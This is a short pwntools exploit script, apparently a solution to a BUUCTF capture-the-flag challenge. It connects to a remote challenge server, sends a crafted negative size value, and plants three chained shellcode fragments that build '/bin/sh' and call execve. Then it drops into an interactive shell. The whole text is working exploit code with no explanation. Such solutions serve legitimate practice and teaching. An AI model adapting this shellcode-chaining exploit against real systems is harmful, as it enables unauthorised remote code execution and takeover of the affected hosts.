1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import *
context(os='linux',arch='amd64')
sh = remote('node3.buuoj.cn',28075)
def add(index,size,content): sh.sendline('1') sleep(0.01) sh.sendline(str(index)) sleep(0.01) sh.sendline(size) sleep(0.01) sh.sendline(content)
payload = '13'.ljust(0xA,'\x00') + p32(0xFFFFFFF8) sc1 = asm('''mov rax,0x0068732f6e69622f jmp $+0x16 ''') add(0,payload,sc1) sc2 = asm('''push rax xor rax,rax mov al,0x3B mov rdi,rsp jmp $+0x17 ''') add(1,'13',sc2)
sc3 = asm('''xor rsi,rsi xor rdx,rdx syscall ''') add(2,'13',sc3)
sh.sendline('5')
sh.interactive()
|